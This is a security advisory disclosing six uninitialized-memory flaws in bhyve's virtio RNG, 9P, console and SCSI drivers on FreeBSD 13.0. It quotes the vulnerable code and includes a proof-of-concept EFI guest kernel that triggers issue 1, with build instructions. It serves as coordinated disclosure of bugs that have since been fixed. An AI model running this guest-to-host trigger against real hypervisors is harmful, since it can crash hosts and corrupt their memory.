Coordinated Disclosure Timeline
- 2021-06-16: Maintainers contacted
- 2021-08-09: Maintainers contacted for an update
- 2021-08-16: Maintainers fixed the issues
Summary
A malicious guest can trigger vulnerabilities in the host by abusing certain drivers that may lead to code execution outside the virtualized guest.
Product
bhyve
Tested Version
FreeBSD 13.0-RELEASE-p2
Details
Issue 1: pci_vtrnd_notify uninitialized memory use (GHSL-2021-088)
vtrnd
is an implementation of Virtio RNG, a paravirtualized device that is exposed as a hardware RNG device to the guest. The randomness values are transferred into the guest memory by reading queues
defined by the guest by using vq_getchain
to fill a struct iovec
structure with the memory ranges specified by the guest.
When there is an error condition, the function vq_getchain
returns -1
if there was an error, 0
if there was no work to be done, or an integer bigger than 0
signaling the number of descriptors it was able to read into the iovec
structure. In all cases, it is important to check for errors and if the amount of descriptors requested matches the amount read.
Unfortunately the implementation of qnotify
at pci_vtrnd_notify, fails to check the return value of vq_getchain
. This leads to struct iovec iov;
being uninitialized and used to read memory in len = (int) read(sc->vrsc_fd, iov.iov_base, iov.iov_len);
when an attacker is able to make vq_getchain
fail.
Making vq_getchain
fail is trivial since, by definition, it deals with the virtio
queues that are created by the guest operating system. The simplest way to make this function not initialize the iovec
structure is by simply not creating any virtio
queues for it to read.
Vulnerable function:
static void
pci_vtrnd_notify(void *vsc, struct vqueue_info *vq)
{
struct iovec iov;
struct pci_vtrnd_softc *sc;
struct vi_req req;
int len;
sc = vsc;
if (sc->vrsc_fd < 0) {
vq_endchains(vq, 0);
return;
}
while (vq_has_descs(vq)) {
vq_getchain(vq, &iov, 1, &req);
len = read(sc->vrsc_fd, iov.iov_base, iov.iov_len);
DPRINTF(("vtrnd: vtrnd_notify(): %d", len));
/* Catastrophe if unable to read from /dev/random */
assert(len > 0);
/*
* Release this chain and handle more
*/
vq_relchain(vq, req.idx, len);
}
vq_endchains(vq, 1); /* Generate interrupt if appropriate. */
}
Impact
This issue may lead to a guest crashing the host causing a denial of service
and, under certain circumstances, may lead to memory corruption.
Proof of Concept
The following PoC
is a simple EFI kernel that simulates a compromised guest. The guest must be booted with the device vtrnd
enabled by passing bhyve
the command line flags -s 5,virtio-rnd
for example.
In order to compile it follow the instructions in the resources
section.
Warning: In order to verify the vulnerability please attach a debugger instead of waiting for a crash. Due to the nature of the vulnerability, a crash may not happen.
#include <uefi.h>
#include <stdbool.h>
#include <stddef.h>
static void
outw(uint16_t port, uint16_t value)
{
__asm__ __volatile__("outw %w0,%w1"
:
: "a"(value), "Nd"(port));
}
static void
outl(uint16_t port, uint32_t value)
{
__asm__ __volatile__("outl %0,%w1"
:
: "a"(value), "Nd"(port));
}
struct __attribute__((packed)) vring_avail
{
uint16_t va_flags; /* VRING_AVAIL_F_* */
uint16_t va_idx; /* counts to 65535, then cycles */
uint16_t va_ring[]; /* size N, reported in QNUM value */
};
#define VQ_QSIZE 0x40
int main(int argc, char **argv)
{
// 0. Choose an address that is mapped but unused.
uint64_t pfn = 0x1000000;
// 1. Select a queue.
// VIRTIO_PCI_QUEUE_SEL = 0x0e
outw(0x200e, 0);
// 2. Initialize the queue to our address.
// VIRTIO_PCI_QUEUE_PFN = 0x08
outl(0x2008, 4096);
// 3. Satisfy vq_has_descs and make (ndesc > vq->vq_qsize) false.
struct vring_avail *avail = (struct vring_avail *)&((uint32_t *)(pfn))[0x100];
avail->va_idx = VQ_QSIZE + 1;
// 4. Call pci_vtrnd_notify to trigger a vq_getchain.
// VIRTIO_PCI_QUEUE_NOTIFY = 0x10
// pci_emul_io_handler = 0x2000
// pci_emul_io_handler | VIRTIO_PCI_QUEUE_NOTIFY
outw(0x2010, 0);
while (1)
{
}
return 0;
}
Issue 2: pci_vt9p_notify uninitialized memory use (GHSL-2021-089)
The function pci_vt9p_notify
uses vq_getchain
without checking its return value thus leading to the use of the iov
array without properly being initialized. Another side effect of not properly checking the return value of vq_getchain
is that when it returns -1
that value gets assigned into the vsr_niov
variable (size_t
integer), which will be interpreted as the largest positive integer that fits size_t
.
Vulnerable function:
static void
pci_vt9p_notify(void *vsc, struct vqueue_info *vq)
{
struct iovec iov[VT9P_MAX_IOV];
struct pci_vt9p_softc *sc;
struct pci_vt9p_request *preq;
struct vi_req req;
uint16_t n;
sc = vsc;
while (vq_has_descs(vq)) {
n = vq_getchain(vq, iov, VT9P_MAX_IOV, &req);
preq = calloc(1, sizeof(struct pci_vt9p_request));
preq->vsr_sc = sc;
preq->vsr_idx = req.idx;
preq->vsr_iov = iov;
preq->vsr_niov = n;
preq->vsr_respidx = req.readable;
for (int i = 0; i < n; i++) {
DPRINTF(("vt9p: vt9p_notify(): desc%d base=%p, "
"len=%zu\r\n", i, iov[i].iov_base,
iov[i].iov_len));
}
l9p_connection_recv(sc->vsc_conn, iov, preq->vsr_respidx, preq);
}
}
Use of vsr_iov
:
static int
pci_vt9p_get_buffer(struct l9p_request *req, struct iovec *iov, size_t *niov,
void *arg)
{
struct pci_vt9p_request *preq = req->lr_aux;
size_t n = preq->vsr_niov - preq->vsr_respidx;
memcpy(iov, preq->vsr_iov + preq->vsr_respidx,
n * sizeof(struct iovec));
*niov = n;
return (0);
}
Impact
This issue may enable a guest to crash the host causing a denial of service
and, under certain circumstances, it may lead to memory corruption.
Issue 3: pci_vtcon_sock_rx uninitialized memory use (GHSL-2021-090)
The function pci_vtcon_sock_rx
uses vq_getchain
without checking its return value thus leading to the use of the iov
array without properly being initialized.
Vulnerable function:
static void
pci_vtcon_sock_rx(int fd __unused, enum ev_type t __unused, void *arg)
{
...
do {
n = vq_getchain(vq, &iov, 1, &req);
len = readv(sock->vss_conn_fd, &iov, n);
if (len == 0 || (len < 0 && errno == EWOULDBLOCK)) {
vq_retchains(vq, 1);
vq_endchains(vq, 0);
if (len == 0)
goto close;
return;
}
vq_relchain(vq, req.idx, len);
} while (vq_has_descs(vq));
...
}
Impact
This issue may enable a guest to crash the host causing a denial of service
and, under certain circumstances, it may lead to memory corruption.
Issue 4: pci_vtcon_notify_tx uninitialized memory use (GHSL-2021-091)
The function pci_vtcon_notify_tx
incorrectly uses an uint16_t
variable to store the signed return value of vq_getchain
leading to incorrectly handling the case when it returns -1
because it gets converted into a positive uint16_t
integer.
Vulnerable function:
static void
pci_vtcon_notify_tx(void *vsc, struct vqueue_info *vq)
{
struct pci_vtcon_softc *sc;
struct pci_vtcon_port *port;
struct iovec iov[1];
struct vi_req req;
uint16_t n;
sc = vsc;
port = pci_vtcon_vq_to_port(sc, vq);
while (vq_has_descs(vq)) {
n = vq_getchain(vq, iov, 1, &req);
assert(n >= 1);
if (port != NULL)
port->vsp_cb(port, port->vsp_arg, iov, 1);
/*
* Release this chain and handle more
*/
vq_relchain(vq, req.idx, 0);
}
vq_endchains(vq, 1); /* Generate interrupt if appropriate. */
}
Impact
This issue enables a guest to crash the host causing a denial of service
and, under certain circumstances, it may lead to memory corruption.
Issue 5: pci_vtscsi_controlq_notify uninitialized memory use (GHSL-2021-092)
The function pci_vtscsi_controlq_notify
uses vq_getchain
without checking its return value thus leading to the use of the iov
array before it has been properly initialized.
Vulnerable function:
static void
pci_vtscsi_controlq_notify(void *vsc, struct vqueue_info *vq)
{
struct pci_vtscsi_softc *sc;
struct iovec iov[VTSCSI_MAXSEG];
struct vi_req req;
uint16_t n;
void *buf = NULL;
size_t bufsize;
int iolen;
sc = vsc;
while (vq_has_descs(vq)) {
n = vq_getchain(vq, iov, VTSCSI_MAXSEG, &req);
bufsize = iov_to_buf(iov, n, &buf);
iolen = pci_vtscsi_control_handle(sc, buf, bufsize);
buf_to_iov(buf + bufsize - iolen, iolen, iov, n,
bufsize - iolen);
/*
* Release this chain and handle more
*/
vq_relchain(vq, req.idx, iolen);
}
vq_endchains(vq, 1); /* Generate interrupt if appropriate. */
free(buf);
}
Impact
This issue may enable a guest to crash the host causing a denial of service
and, under certain circumstances, it may lead memory corruption.
Issue 6: pci_vtscsi_requestq_notify uninitialized memory use (GHSL-2021-093)
The function pci_vtscsi_requestq_notify
uses vq_getchain
without checking its return value thus leading to the use of the iov
array before it has been properly initialized. It also incorrectly assigns the return value of vq_getchain
to an uint16_t
. However, this variable is not used and therefore, at this point in time, it is not causing any additional issues.
Vulnerable function:
static void
pci_vtscsi_requestq_notify(void *vsc, struct vqueue_info *vq)
{
struct pci_vtscsi_softc *sc;
struct pci_vtscsi_queue *q;
struct pci_vtscsi_request *req;
struct iovec iov[VTSCSI_MAXSEG];
struct vi_req vireq;
uint16_t n;
sc = vsc;
q = &sc->vss_queues[vq->vq_num - 2];
while (vq_has_descs(vq)) {
n = vq_getchain(vq, iov, VTSCSI_MAXSEG, &vireq);
req = calloc(1, sizeof(struct pci_vtscsi_request));
req->vsr_idx = vireq.idx;
req->vsr_queue = q;
req->vsr_niov_in = vireq.readable;
req->vsr_niov_out = vireq.writable;
memcpy(req->vsr_iov_in, iov,
req->vsr_niov_in * sizeof(struct iovec));
memcpy(req->vsr_iov_out, iov + vireq.readable,
req->vsr_niov_out * sizeof(struct iovec));
pthread_mutex_lock(&q->vsq_mtx);
STAILQ_INSERT_TAIL(&q->vsq_requests, req, vsr_link);
pthread_cond_signal(&q->vsq_cv);
pthread_mutex_unlock(&q->vsq_mtx);
DPRINTF(("virtio-scsi: request <idx=%d> enqueued",
vireq.idx));
}
}
Impact
This issue may enable a guest to crash the host causing a denial of service
and, under certain circumstances, it may lead to memory corruption.
CVE
- CVE-2021-29631
Resources
- https://www.freebsd.org/security/advisories/FreeBSD-SA-21:13.bhyve.asc
- https://github.com/freebsd/freebsd-src/commit/71fbc6faed62e8eb5864f7c40839740f5e9f5558
PoC Resources
The following instructions work on macOS
and will build a bootable EFI disk.
# Directory that contains the posix-uefi and the kernel sources.
mkdir poc
cd poc
# Get the sources of posix-uefi.
git clone https://gitlab.com/bztsrc/posix-uefi.git
# Create a sources directory that will contain the Makefile and our kernel sources.
mkdir src
cd src
ln -s ../posix-uefi/uefi
# Place the kernel poc sources in a main.c file.
cat > main.c << EOF
...
CODE
...
EOF
cat > Makefile << EOF
TARGET = bootx64.efi
include uefi/Makefile
EOF
# Build the kernel.
make
# Create a disk image.
mkdir -p diskImage/EFI/BOOT
# Copy our EFI kernel into the right place for booting.
cp bootx64.efi diskImage/EFI/BOOT/BOOTX64.EFI
# Create a disk image that we can use in bhyve.
hdiutil create -fs fat32 -ov -size 48m -volname GOOSE -format UDTO -srcfolder diskImage uefi.disk
Credit
This issue was discovered and reported by GHSL team member @agustingianni (Agustin Gianni).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-088_093
in any communication regarding this issue.